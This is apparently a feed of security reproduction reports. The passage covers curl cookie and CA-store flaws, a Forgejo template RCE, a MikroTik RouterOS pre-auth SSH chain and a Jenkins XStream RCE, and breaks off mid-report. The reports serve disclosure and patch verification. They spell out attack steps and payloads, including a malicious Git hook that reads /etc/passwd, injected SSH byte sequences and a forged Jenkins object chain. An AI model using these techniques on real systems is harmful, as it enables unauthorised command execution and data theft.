plaintext_cookie_seen=true PASS vulnerable attempt 2: secure=FALSE plaintext_cookie_seen=true PASS fixed attempt 1: secure=TRUE plaintext_cookie_seen=false PASS fixed attempt 2: secure=TRUE plaintext_cookie_seen=false CONFIRMED: vulnerable curl disclosed sess=SECRET over plaintext HTTP in two attempts; fixed curl blocked it in two attempts. ``` ## Evidence - `bundle/repro/vulnerable-attempt-1.log` — vulnerable transcript, SHA-256 `e995fcb7f7e5422788e3fc188312333fc71aa3bfd1b01c9d57d0586a9bfdfafd`. - `bundle/repro/vulnerable-attempt-2.log` — second vulnerable transcript, SHA-256 `ba0967b31d8a4e8657df1bdb6b7fd788529a2524cb3d7cba0f5c2865a681edc8`. - `bundle/repro/fixed-attempt-1.log` — fixed negative control, SHA-256 `b30e5a532dc4390fb7b122b44d2a5aba4128e46a457e5e8870601f34a3ba6b29`. - `bundle/repro/fixed-attempt-2.log` — second fixed negative control, SHA-256 `c5afc0185862af91e1b0f899fcdea3cb4098635dae13fe95a886509477807201`. - `bundle/repro/target-identity.log` — exact commits, patch lines, binary hashes, and product versions, SHA-256 `9b2d64973b3600d6852c952279942e6e51c36e7a84f71e7a88f18269658c8488`. - `bundle/repro/runtime_manifest.json` — entrypoint state, vulnerable source identity, proof artifact list, and checked hashes. - `bundle/logs/reproduction_steps.log` — overall diagnostics (not hashed as immutable proof because shell-wide `tee` writes it through script exit). - `bundle/logs/cmake-vulnerable.log`, `build-vulnerable.log`, `cmake-fixed.log`, and `build-fixed.log` — build diagnostics. The critical vulnerable excerpt is: ```text COMMIT=621e507300e6c83966567b6ae0352ca82544df13 ATTACKER_HEADER_HEX=5365742d436f6f6b69653a20736573733d5345435245543b09536563757265 COOKIE_JAR_SECURE_FIELD=FALSE PLAINTEXT_COOKIE_HEADER_SEEN=true ... Host: tab-cookie.invalid: Cookie: sess=SECRET ``` The fixed negative control contains: ```text COMMIT=4f6aa41a0145e930e766775dbe860883d350aa0a COOKIE_JAR_SECURE_FIELD=TRUE PLAINTEXT_COOKIE_HEADER_SEEN=false ``` Its captured plaintext request ends after `Accept: */*` and contains no `Cookie` header. Both peer transcripts record `LISTENING`, `ACCEPTED`, protocol request bytes, and the exact malicious header bytes. The tested environment was Linux x86-64, curl/libcurl `8.22.0-DEV` at the exact commits, OpenSSL 3.5.5, and nghttp2 1.68.0. The target digest is SHA-256 of `git:https://github.com/curl/curl@621e507300e6c83966567b6ae0352ca82544df13`: `99769c35eb8a8ef5d8c6f984733cb9a16c536698292048e4b4ef2b6fe755f495`. ## Recommendations / Next Steps - Upgrade to curl 8.22.0 or later, or apply the complete change from fixed commit `4f6aa41a0145e930e766775dbe860883d350aa0a` to affected downstream branches. - Do not treat TAB as a terminal name delimiter before cookie attribute matching; trim accepted optional whitespace and then compare the complete attribute token. - Preserve an end-to-end regression test with the literal `0x09` byte before `Secure`, a non-localhost origin, a persisted cookie jar, and a later plaintext HTTP request. Testing only the jar is weaker than proving that the secret is not emitted. - Include both a vulnerable regression fixture and a fixed negative control to avoid false conclusions caused by curl's special secure-cookie treatment of localhost/loopback origins. ## Additional Notes - **Idempotency confirmation:** The final script completed successfully twice consecutively. Each execution itself performed two clean vulnerable attempts and two clean fixed attempts. - **Real boundary:** The primary proof invokes the real curl command-line product. Attacker input crosses accepted HTTPS TCP connections, and disclosure crosses separate plaintext HTTP TCP connections; the vulnerable parser is not called directly by a unit harness. - **Sanitizers:** None were used. This is a protocol/confidentiality defect rather than a memory-safety crash. - **Edge case avoided:** The peer listens on loopback for containment, but requests use `tab-cookie.invalid` via `--resolve`. Using `127.0.0.1` as the URL host would be an invalid negative control because curl intentionally permits Secure cookies in localhost-like contexts. - **Version string nuance:** The exact fix parent and fix commit both report the development version string `8.22.0-DEV`; commit hashes and binary SHA-256 values, not that mutable prose label, bind the two tested builds. ### Reproduction - Reproduced: 2026-09-11T10:13:16.872Z - Duration: 1576s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00347 # or: pruva-verify CVE-2026-80255 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00347 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00347/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00347 ================================================================================ ## REPRO-2026-00346: curl: native CA store flag not part of connection reuse matching, wrong trust store may authenticate reused TLS connections -------------------------------------------------------------------------------- Status: published Severity: low Type: security ### Identifiers - REPRO ID: REPRO-2026-00346 - CVE: CVE-2026-80231 (https://nvd.nist.gov/vuln/detail/CVE-2026-80231) ### Package Information - Name: curl/libcurl - Ecosystem: github - Affected: curl 7.71.0 through 8.21.0 inclusive. - Fixed: Unknown - Severity: low - CVSS: Unknown - CWE: CWE-488: Exposure of Data Element to Wrong Session. ### Root Cause # Root Cause Analysis: CVE-2026-80231 ## Summary CVE-2026-80231 is a libcurl TLS connection-reuse matching flaw. Before the fix, the effective `native_ca_store` setting was stored outside `ssl_primary_config`, so `match_ssl_primary_config()` did not include it when deciding whether a pooled connection was compatible with a later transfer. A same-origin request configured with explicit custom CA material could therefore reuse an HTTPS connection established using native system trust, even though opening a fresh connection under that later policy correctly rejected the server certificate. ## Impact - **Affected package/component:** curl/libcurl virtual TLS configuration and connection cache. - **Affected versions:** curl 7.71.0 through 8.21.0, introduced by commit `148534db57dda611cf8516e92e4d6e35fc1e5074` and fixed by commit `7be1e70cb6bcd83e130ecfe8cb91b6a7dcdeff42` in curl 8.22.0. - **Risk and consequence:** A caller's later trust-store restriction is not enforced when an origin connection created under native CA trust is reused. A certificate that the later transfer's configured CA policy does not authorize is accepted through stale pooled TLS state. This is an authentication/authorization-policy bypass (CWE-488) rated Low upstream because it requires connection reuse and platform/backend native-store support. ## Impact Parity - **Disclosed/claimed maximum impact:** Authorization/authentication-policy bypass through reuse of a TLS connection created under a different native CA-store setting. - **Reproduced impact from this run:** The vulnerable parent sent an HTTPS request successfully over a native-trusted pooled connection after the second easy handle explicitly selected an empty CA file. The same explicit policy on a fresh cache failed certificate verification (`CURLE_PEER_FAILED_VERIFICATION`, code 60). The fixed commit did not reuse that connection and failed the second request closed. - **Parity:** `full`. - **Not demonstrated:** No code execution, memory corruption, or privilege escalation was claimed or attempted. ## Root Cause `Curl_ssl_easy_config_complete()` determines whether native CA trust is active from `CURLOPT_SSL_OPTIONS`, native-CA build defaults, and whether the application explicitly supplied CA material. In the vulnerable parent, that result was written to `ssl_config_data.native_ca_store`. Connection pooling, however, calls `Curl_ssl_conn_config_match()`, which compares only fields in `ssl_primary_config` through `match_ssl_primary_config()`. Thus, two easy handles could have equal compared values such as `ssl_options` and final `CAfile`, while differing in the effective native CA decision. The pooled connection carried the first handle's already completed trust decision into the second transfer. The reproducer creates exactly this state without mocking libcurl: both handles resolve to the same empty CA-file path and use `ssl_options=0`; the first gets the path as a build default, which leaves implicit native CA active, while the second explicitly sets the same path, marking CA material custom and disabling implicit native CA. The vulnerable matcher treats these configurations as equal. Fix commit [`7be1e70cb6bc`](https://github.com/curl/curl/commit/7be1e70cb6bcd83e130ecfe8cb91b6a7dcdeff42) moves `native_ca_store` into `ssl_primary_config`, clones it into connections, compares it in `match_ssl_primary_config()`, and updates the OpenSSL, GnuTLS, rustls, and wolfSSL backends to consult connection-primary state. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory (the script derives or honors `PRUVA_ROOT`). 2. The script uses the prepared project cache when available, resolves the fixed commit and its exact parent, verifies the patch hunk is absent/present as expected, and builds both commits with shared libcurl, GnuTLS, and `CURL_CA_NATIVE=ON`. 3. It creates a localhost HTTPS certificate trusted only through GnuTLS system/native trust, starts a keep-alive HTTPS origin, compiles the real libcurl multi-API harness, and executes two vulnerable plus two fixed attempts. 4. Expected result: the script exits 0 and prints `CONFIRMED`. Vulnerable logs contain `ORACLE=VULNERABLE_WRONG_TRUST_REUSE`; fixed logs contain `ORACLE=FIXED_POLICY_ISOLATION`. ## Evidence - **Runtime contract:** `bundle/repro/runtime_manifest.json` binds target commit `7ea37abc6ac0120ba5f6d94be8d196f7cf1506bb`, tested build identities, and SHA-256 digests for all proof artifacts. - **Vulnerable observations:** `bundle/repro/vulnerable-attempt-1.log` and `vulnerable-attempt-2.log` show: - `native-default-prime code=0 ... new_connects=1 http=200` - `Reusing existing https: connection with host localhost` - `custom-same-path-shared-cache code=0 ... new_connects=0 http=200` - Fresh control: `code=60 ... new_connects=1 http=0` - `ORACLE=VULNERABLE_WRONG_TRUST_REUSE` - **Fixed negative controls:** `bundle/repro/fixed-attempt-1.log` and `fixed-attempt-2.log` show the shared-cache custom policy creates a new connection and fails with code 60, followed by `ORACLE=FIXED_POLICY_ISOLATION`. - **Target/linker identity:** `bundle/repro/build-identity-vulnerable.txt` and `build-identity-fixed.txt` record commits, curl/GnuTLS versions, `ldd` resolution to each intended built `libcurl.so.4`, and binary SHA-256 values. - **Origin evidence:** `bundle/repro/server.log` records readiness and the six successful HTTP requests expected across two vulnerable reuse attempts plus two fixed priming requests. - **Diagnostics:** `bundle/logs/reproduction_steps.log`, `build-vulnerable*.log`, and `build-fixed*.log`. - **Environment:** Linux x86_64, GnuTLS 3.8.12, libcurl 8.22.0-DEV source at the exact vulnerable parent/fixed commits. Although the upstream advisory states deployed exposure exists on Windows/macOS, `CURL_CA_NATIVE=ON` with GnuTLS exposes the same real libcurl native-store decision and connection matcher on this Linux worker, allowing direct runtime validation of the root cause and fixed divergence. ## Recommendations / Next Steps - Upgrade to curl 8.22.0 or later, or apply commit `7be1e70cb6bc`. - As an interim mitigation, use `CURLOPT_FORBID_REUSE` for transfers using native CA trust, as recommended by the upstream advisory. - Keep every certificate-verification option that affects connection compatibility in the primary connection configuration and include it in clone, session/cache, and reuse comparisons. - Add upstream regression coverage equivalent to this proof for each native-CA-capable TLS backend, plus Windows and macOS product builds. ## Additional Notes - The final reproduction script passed twice consecutively. Each invocation itself ran two vulnerable and two fixed attempts, yielding four fresh observations per role across final verification. - The script restores the host trust store during cleanup and generates its server certificate and server helper at runtime. - The only non-generated bundle dependency is `bundle/repro/native_ca_reuse_harness.c`; all other runtime helpers, keys, certificates, builds, and logs are created by the script. - The proof uses a real libcurl library API boundary and a real TLS/HTTP exchange, not a parser reimplementation, mock result, sanitizer, or source-only assertion. ### Reproduction - Reproduced: 2026-09-11T10:13:11.073Z - Duration: 2429s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00346 # or: pruva-verify CVE-2026-80231 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00346 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00346/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00346 ================================================================================ ## REPRO-2026-00345: Forgejo <16.0.4 RCE via crafted template repository (.forgejo/template expansion recreates .git folder adopted by git init) -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00345 - CVE: CVE-2026-89094 (https://nvd.nist.gov/vuln/detail/CVE-2026-89094) ### Package Information - Name: forgejo - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # CVE-2026-89094 — Forgejo <16.0.4 RCE via crafted template repository ## Summary When a user generates a new repository from a template repository, Forgejo clones the template, deletes the `.git` directory, applies variable template expansion to the files listed in `.forgejo/template` (expanding variables in both file **content** and file **paths**, e.g. `.g${REPO_NAME}/config` → `.git/config` when the generated repository is named `it`), and then runs `git init` in that working directory. Because no cleanup happens after the expansion step, an attacker-controlled template can *recreate* a `.git` directory during expansion, and the subsequent `git init` adopts it. Forgejo then performs `git add --all` and `git commit` in that directory, honoring the attacker-supplied `.git/config` (e.g. `core.fsmonitor`, `core.hooksPath`) and hooks, which leads to arbitrary command execution on the Forgejo host as the Forgejo runtime user. The fix (PR #14301, released in v16.0.4) removes any `.git` directory again after the expansion completes and before `git init`. ## Impact - **Package/component affected:** Forgejo `services/repository/generate_repo_commit.go` (repository generation from template), interacting with `services/repository/generate.go` (variable expansion). - **Affected versions:** Forgejo < 16.0.4 (verified on the official container image `codeberg.org/forgejo/forgejo:16.0.3-rootless`, source tag `v16.0.3` = commit `eccddb2d17c93b42b2c8995725e03e549ac9ec0c`). - **Risk level:** Critical (CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9). Any authenticated user who can create a template repository and generate a repository from it obtains arbitrary command execution in the Forgejo container/host as the Forgejo runtime user, plus arbitrary read (and write) of host data reachable by that user. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote code execution on the Forgejo host via a crafted template repository ("read arbitrary data from the Forgejo host and execute arbitrary processes, e.g. via git hooks/config such as core.fsmonitor or hooks"). - **Reproduced impact from this run:** Full remote code execution through the real product HTTP API: attacker-supplied `post-commit` hook executed as `uid=1000(git)` inside the Forgejo container during the generated repository's initial commit; the hook wrote an exact marker string, captured `id` output, and read `/etc/passwd` from the host filesystem (arbitrary host data read). Both the vulnerable (16.0.3) and fixed (16.0.4) builds were exercised end-to-end. - **Parity: `full`** - **Not demonstrated:** Nothing material; the claimed impact (arbitrary process execution + host data read) was demonstrated directly. ## Root Cause In `services/repository/generate_repo_commit.go` (v16.0.3), `generateRepoCommit`: 1. Clones the template repository into a temp dir (`git.Clone`, depth 1). 2. Removes the cloned `.git` (`util.RemoveAll(path.Join(tmpDir, ".git"))`) **before** expansion. 3. Reads `.forgejo/template` (or `.gitea/template`) and, for every file matching one of its globs, expands variables in the content (`generateExpansion(content, ..., false)`) and in the path (`generateExpansion(relPath, ..., true)`, then `root.Rename(relPath, substPath)`). Since `${REPO_NAME}` is attacker-influenced (the name chosen for the generated repository), a template file named `.g${REPO_NAME}/config` is renamed to `.git/config` when the generated repo is named `it`. 4. Runs `git.InitRepository(ctx, tmpDir, ...)` — `git init` in a directory that already contains a `.git` directory reinitializes it and **preserves the attacker-written `config` and hooks**. 5. Runs `git remote add`, `git add --all`, `git commit` (`initRepoCommit`) — and git honors the adopted config. Two execution vectors were validated: - `core.fsmonitor` in the adopted `.git/config` executes during `git add --all` (git appends version/token arguments to the configured command). - Repo-local `core.hooksPath = .ghooks` overrides Forgejo's *global* `core.hooksPath = /var/lib/gitea/home/hooks` (which is why a plain `.git/hooks/post-commit` file is silently ignored), so the attacker's `.ghooks/post-commit` (an ordinary template file that rides along) executes during `git commit`. Fix: PR #14301 "fix: prevent template expansion from interfering with git initialization" (commit `0d74280e071a9ddc145930f93fa7b5cb50c2a4e8`, released in v16.0.4, tag `6e56b5ebad3fb05036b1ff68a6b47b80f5859c7c`) adds, after the expansion loop and before `git.InitRepository`: ```go // Before template expansion, .git was removed so that a fresh repo can be initialized; remove it again in case // some template variable usage has conflicted with this directory and impacts git operations. if err := root.RemoveAll(".git"); err != nil { return fmt.Errorf("unable to remove .git folder") } ``` ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; requires Docker). 2. What the script does, per attempt (2× vulnerable 16.0.3-rootless, 2× fixed 16.0.4-rootless, each a fresh container on its own port): - Pulls/starts the official Forgejo container image, waits for `/api/healthz`. - Creates the admin user via the real `forgejo admin user create` CLI and an API token. - Creates a repository `evil-template` via `POST /api/v1/user/repos`, marks it as a template via `PATCH /api/v1/repos/admin1/evil-template` (`{"template":true}`). - Builds and pushes the malicious template over the real git-HTTP receive path: `README.md`, `.forgejo/template` (globs `README.md`, `.g*/config`, `.ghooks/*`), `.g${REPO_NAME}/config` (repo-local `core.hooksPath = .ghooks` + `core.fsmonitor` fallback), executable `.ghooks/post-commit` (writes an exact marker string, `id` output, and `/etc/passwd` into `/tmp` inside the container). - Waits until the template content is registered, then triggers the vulnerability through the real product workflow: `POST /api/v1/repos/admin1/evil-template/generate` with `{"name":"it","owner":"admin1","git_content":true}` so that `${REPO_NAME}` = `it` turns `.g${REPO_NAME}/config` into `.git/config`. - Collects per-attempt evidence: HTTP request/response transcripts, marker files, hook `id` output, exfiltrated `/etc/passwd`, generated repo README, and the full Forgejo service log. 3. Expected evidence of reproduction: - Vulnerable attempts: `generate` returns 201; `/tmp/marker-` inside the container contains exactly `CVE-2026-89094-RCE-`; `/tmp/rce-id-` contains `uid=1000(git) ...`; `/tmp/hostdata-` contains the container's `/etc/passwd`; generated repo still serves `README.md` == `Hello!`. - Fixed attempts (16.0.4): same attacker procedure; marker/hook/hostdata files absent; generation still succeeds with `README.md` == `Hello!`. ## Evidence All artifacts under `bundle/` (SHA-256 digests in `bundle/repro/runtime_manifest.json`): - `bundle/logs/vuln-1/`, `bundle/logs/vuln-2/` — vulnerable attempts: - `http_generate_request.txt`, `http_generate_response.json`, `http_generate_status.txt` — the triggering API call (`HTTP 201`). - `marker.txt` — exact bytes `CVE-2026-89094-RCE-vuln-1` / `...-vuln-2` written by the attacker hook. - `rce_id.txt` — `uid=1000(git) gid=1000(git) groups=1000(git)` (command executed as the Forgejo runtime user). - `hostdata_etc_passwd.txt` — 18 lines of `/etc/passwd` read from the Forgejo container host filesystem. - `forgejo_service.log` — full product log including the `POST /api/v1/repos/admin1/evil-template/generate ... 201` router line. - `template_tree.txt` — git tree of the malicious template actually pushed (`.g${REPO_NAME}/config` mode 100644, `.ghooks/post-commit` mode 100755). - `bundle/logs/fixed-1/`, `bundle/logs/fixed-2/` — fixed control attempts: `marker.txt`/`rce_id.txt` contain `__ABSENT__`, `generated_readme.txt` == `Hello!`, `http_generate_status.txt` == `HTTP 201`. - `bundle/repro/runtime_manifest.json` — runtime stack, image digests (`sha256:214f4ae6...` vulnerable / `sha256:a263a129...` fixed), source commits, and artifact digests. - `bundle/logs/reproduction_steps.log` — console transcript of both verification runs. Environment: Docker on linux/x86_64; images `codeberg.org/forgejo/forgejo:16.0.3-rootless` (source `v16.0.3`, `eccddb2d17c93b42b2c8995725e03e549ac9ec0c`) and `codeberg.org/forgejo/forgejo:16.0.4-rootless` (source `v16.0.4`, `6e56b5ebad3fb05036b1ff68a6b47b80f5859c7c`); Forgejo runs sqlite3; repo push over git-HTTP with a token-authenticated admin session. ## Recommendations / Next Steps - **Upgrade to Forgejo v16.0.4** (or later), which removes any `.git` directory after template expansion and before `git init` (PR #14301). - Defense in depth for deployers: none of Forgejo's process-level settings prevent this once the bug is present; upgrading is the fix. The execution lands as the Forgejo runtime user — containerize/isolate and drop unneeded privileges. - Testing recommendations: the upstream integration test `TestRepoGenerateTemplatingDotGitDir` covers the `.git/config` recreation; add a case asserting that *executable hook files* and `core.hooksPath`/`core.fsmonitor` values delivered through template expansion never influence the generated repository's git operations. ## Additional Notes - **Idempotency:** the script was executed twice consecutively; both runs ended with `VERDICT: CONFIRMED` (exit 0). It removes containers/data dirs by name before each attempt, so repeated runs are clean. - Two important mechanics discovered while validating: - Forgejo sets a **global** `core.hooksPath` (`/var/lib/gitea/home/hooks`) for its git subprocesses, so a naive `.git/hooks/post-commit` payload is silently ignored; the working payload overrides it with a repo-local `core.hooksPath` pointing at an ordinary template directory (`.ghooks`). `core.fsmonitor` in the adopted config is an independent (also validated interactively) execution vector. - After a git push, the repository API's `empty` field disappears (omitempty) once non-empty, so readiness must be polled via `size`/raw-file availability — otherwise a generate issued too early is silently skipped (`opts.GitContent && !templateRepo.IsEmpty`). - Limitations: the marker/hook evidence is collected from the container filesystem via `docker exec` (the attacker-relevant boundary — template push + generate — is fully remote over HTTP). The execution user is the containerized Forgejo runtime user (`uid=1000 git`), not root, which matches the disclosed impact scope. ### Reproduction - Reproduced: 2026-09-11T09:31:43.606Z - Duration: 2983s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00345 # or: pruva-verify CVE-2026-89094 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00345 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00345/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00345 ================================================================================ ## REPRO-2026-00344: MikroTik RouterOS CVE-2026-67279 + CVE-2026-86060 unauthenticated privileged command-execution chain -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00344 - CVE: CVE-2026-67279 (https://nvd.nist.gov/vuln/detail/CVE-2026-67279) ### Package Information - Name: MikroTik RouterOS SSH - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: Unknown ### Root Cause ## Summary CVE-2026-67279 is a pre-authentication state-machine vulnerability in the MikroTik RouterOS SSH server. On RouterOS CHR 7.23.3, a rejected authentication attempt for the dash-led username `-2` leaves that username pending; a client-requested SSH rekey then incorrectly makes the SSH connection protocol reachable while the transport remains unauthenticated. The client can open a session channel, request a PTY, and submit an exec request. The pending `-2` reaches RouterOS's legacy login helper, where it means “read trusted login fields from file descriptor 2”; attacker-supplied NUL-delimited name/policy fields therefore establish a privileged RouterOS command context. This run dispatched `/file add` and independently observed the resulting RouterOS-managed file. RouterOS CHR 7.23.4 rejected the same sequence during rekey before channel creation. ## Impact - **Affected component:** MikroTik RouterOS SSH server and its `/nova/bin/login` handoff. - **Affected versions:** CERT Polska lists RouterOS 7.0.0 through 7.23.3, 7.24 through 7.24.1, and 6.0.0 through 6.49.20 as affected. This run tested official CHR 7.23.3 as vulnerable and official CHR 7.23.4 as fixed. - **Risk:** An unauthenticated network client can cross the real TCP SSH boundary, reach connection-protocol session/exec handling, and change RouterOS-managed file state. This is a high-risk management-plane authentication/workflow failure. The observed command is RouterOS command dispatch, not an arbitrary host-OS shell. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated RouterOS command dispatch with creation, overwrite, or reconstruction of a file in the managed file namespace (`claimed_impact_class=code_execution`). - **Reproduced impact from this run:** One rejected `-2` authentication request was followed by an unauthenticated client-requested rekey, confirmed session channel, PTY, exec request for `/file add`, fd-2 policy-field injection, and independent serial-console observation of the created file. Two clean CHR 7.23.3 attempts reproduced the result. - **Parity:** full. - **Not demonstrated:** Arbitrary host-OS command execution, a native shell outside RouterOS, or use of CVE-2026-67276 was neither required nor claimed. ## Root Cause The defect is a composition of RouterOS SSH/login workflow state: 1. A password authentication request for username `-2` is rejected, but 7.23.3 retains the requested username in session state. 2. A client-requested key exchange before successful authentication incorrectly advances or re-enables connection-protocol handling. `Transport.is_authenticated()` remained false in every recorded state. 3. The server accepts SSH message 90 (session channel open), a PTY request, and SSH message 98 (`exec`) after that rekey. 4. The retained `-2` is eventually supplied as a positional argument to `/nova/bin/login`. Its legacy dash-number form means “read trusted name and policy fields from descriptor 2.” In the PTY child, descriptor 2 refers to the attacker-controlled terminal. 5. The bytes `30 00 34323934393637323935 00 04 04` represent effective name `0`, decimal policy `4294967295`, and canonical-terminal EOF framing. The policy value enables the `/file add` command submitted in the exec request. The fixed 7.23.4 server rejects the same client-requested rekey after the rejected authentication attempt (`SSHException: Negotiation failed`) before a channel or exec request can be sent. RouterOS is proprietary, so no public source fix commit is available. The vendor fix is shipped in 7.23.4, 7.24.2, 6.49.21, and later releases. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. Set `PRUVA_ROOT` only if the bundle root cannot be inferred from the script location. 2. The script installs QEMU if necessary, downloads official CHR 7.23.3 and 7.23.4 images, records source URLs and SHA-256 identities, and creates fresh copy-on-write guests. 3. For two vulnerable and two fixed attempts, it boots RouterOS, verifies the reported version over the serial console, confirms the real `SSH-2.0-ROSSSH` TCP service, and sends an identical state sequence: initial KEX, one intentionally rejected password request for `-2`, client-requested rekey, session/PTY/exec, and fd-2 trusted fields. 4. It independently queries `/file` over the RouterOS serial console. Vulnerable attempts must report `PRUVA_MARKER_COUNT=1`; fixed attempts must report `PRUVA_MARKER_COUNT=0` and must never reach a session channel. 5. Expected final output is: `PASS: CVE-2026-67279 reproduced twice on CHR 7.23.3; CHR 7.23.4 rejected identical pre-auth SSH sequences twice.` ## Evidence - `bundle/repro/proof-summary.log`: combined immutable proof and image identities. - `bundle/repro/vuln-{1,2}-client.json`: ordered attacker state transitions. Each records `authentication_rejected=true`, `authentication_succeeded=false`, `authenticated=false` at the rekey/channel/exec stages, `channel_open_confirmed=true`, and `exec_request_accepted=true`. - `bundle/repro/vuln-{1,2}-ssh-state.log`: Paramiko transport/KEX debug logs, including initial and second key exchanges and real RouterOS SSH banner. - `bundle/repro/vuln-{1,2}-serial-observation.log`: independent RouterOS CLI observations showing version `7.23.3 (stable)` and `PRUVA_MARKER_COUNT=1` for the unique managed files. - `bundle/repro/fixed-{1,2}-client.json`: fixed negative controls showing the same rejected authentication request followed by `SSHException: Negotiation failed`, with no channel, PTY, exec, or policy block. - `bundle/repro/fixed-{1,2}-serial-observation.log`: independent RouterOS CLI observations showing version `7.23.4 (stable)` and `PRUVA_MARKER_COUNT=0`. - `bundle/repro/runtime_manifest.json`: hashes all proof artifacts and binds the tested official CHR identity. Pinned official archives in the final run: - CHR 7.23.3: `https://download.mikrotik.com/routeros/7.23.3/chr-7.23.3.img.zip`, SHA-256 `646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c`. - CHR 7.23.4: `https://download.mikrotik.com/routeros/7.23.4/chr-7.23.4.img.zip`, SHA-256 `0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d`. ## Recommendations / Next Steps - Upgrade to RouterOS 7.23.4, 7.24.2, 6.49.21, or a later vendor-fixed release. - Restrict SSH management to trusted administration networks or a management VPN; do not expose TCP/22 publicly. - Add state-machine tests asserting that a failed authentication followed by client rekey cannot enable SSH connection-protocol messages. - Clear retained identity/session state after every failed authentication and enforce a successful authentication invariant at rekey completion, channel open, PTY, shell, subsystem, and exec handlers. - Remove or strictly authenticate the legacy `-N` trusted-descriptor login interface, and validate dash-led values before passing them to `/nova/bin/login`. - Review RouterOS logs/history for failed user `-2` requests and configuration actions attributed to `ssh:-2@
`. ## Additional Notes - **Idempotency:** The final script passed twice consecutively without edits. Each pass used two fresh vulnerable overlays and two fresh fixed overlays, for four vulnerable and four fixed observations across the required consecutive verification runs. - **Isolation:** Guests use QEMU user networking with SSH bound only to localhost host-forward ports. No public system is contacted except MikroTik's official image download endpoint. - **Scope:** The proof uses one deliberately rejected password authentication request; no authentication succeeds. This is necessary to seed the pending `-2` identity and does not use the separate RSA authentication bypass CVE-2026-67276. - **Implementation limitation:** RouterOS source is proprietary, so root-cause details are established through protocol state evidence, runtime divergence, and public reverse-engineering context rather than a source commit. ### Reproduction - Reproduced: 2026-09-07T14:21:58.096Z - Duration: 19563s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00344 # or: pruva-verify CVE-2026-67279 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00344 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00344/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00344 ================================================================================ ## REPRO-2026-00343: Jenkins XStream deserialization of nested PersistenceRoot objects leads to RCE via Stapler (SECURITY-3972) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00343 - CVE: CVE-2026-84645 (https://nvd.nist.gov/vuln/detail/CVE-2026-84645) ### Package Information - Name: jenkinsci/jenkins - Ecosystem: github - Affected: Jenkins weekly 2.579 and earlier; Jenkins LTS 2.568.2 and earlier. - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-94 (Improper Control of Generation of Code ('Code Injection')) ### Root Cause ## Summary CVE-2026-84645 (Jenkins SECURITY-3972) is an authenticated remote code execution vulnerability caused by Jenkins XStream deserialization accepting implementations of `hudson.model.PersistenceRoot` in nested positions of attacker-submitted configuration object graphs. The accepted nested objects remain reflectively traversable by Stapler. In this run, a user limited to Overall/Read, Item/Read, and Item/Configure submitted a job `config.xml` containing `SCMTrigger.BuildAction -> FreeStyleBuild -> FreeStyleProject -> hudson.model.Hudson`, where the forged `Hudson` carried the core `AuthorizationStrategy$Unsecured`; the attacker then reached that object's `doScriptText` method through the forged Stapler route and executed Groovy plus the controller-local `id` command. ## Impact - **Affected package/component:** Jenkins core XStream handling in `hudson.util.RobustReflectionConverter`, combined with Stapler routing over Jenkins model objects. - **Affected versions:** Jenkins weekly 2.579 and earlier, and Jenkins LTS 2.568.2 and earlier, per the official advisory. - **Fixed versions:** Jenkins weekly 2.580 and LTS 2.568.3. - **Risk level:** High (official CVSS 3.1 vector `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`, score 8.8). - **Consequences:** An authenticated user with job configuration rights can execute arbitrary Groovy and operating-system commands in the Jenkins controller JVM/container security context, enabling full compromise of controller data and behavior. The runtime used the real Jenkins HTTP/API boundary. Matrix Authorization Strategy Plugin 3.3 was installed only to express the claim's low-privilege account precisely. Before exploitation, the same `attacker` account received HTTP 403 from the legitimate root `/scriptText` endpoint in every vulnerable and fixed attempt. ## Impact Parity - **Disclosed/claimed maximum impact:** Authenticated remote code execution on the Jenkins controller. - **Reproduced impact from this run:** Authenticated remote code execution on two independent Jenkins 2.579 controller processes. Each attacker-supplied Groovy script created a unique controller-local marker and executed `id`, returning `uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)`. - **Parity:** `full`. - **Not demonstrated:** No claimed impact remains unproven. The proof intentionally stops after a harmless unique file write and `id`; it does not perform persistence, secret extraction, or destructive actions. ## Root Cause `PersistenceRoot` identifies Jenkins model objects whose state belongs in an independent top-level persistence document, such as a Jenkins/Hudson singleton, item/job, node, or build. Before the fix, `RobustReflectionConverter` applied the JEP-200 class allowlist but did not enforce the structural invariant that newly 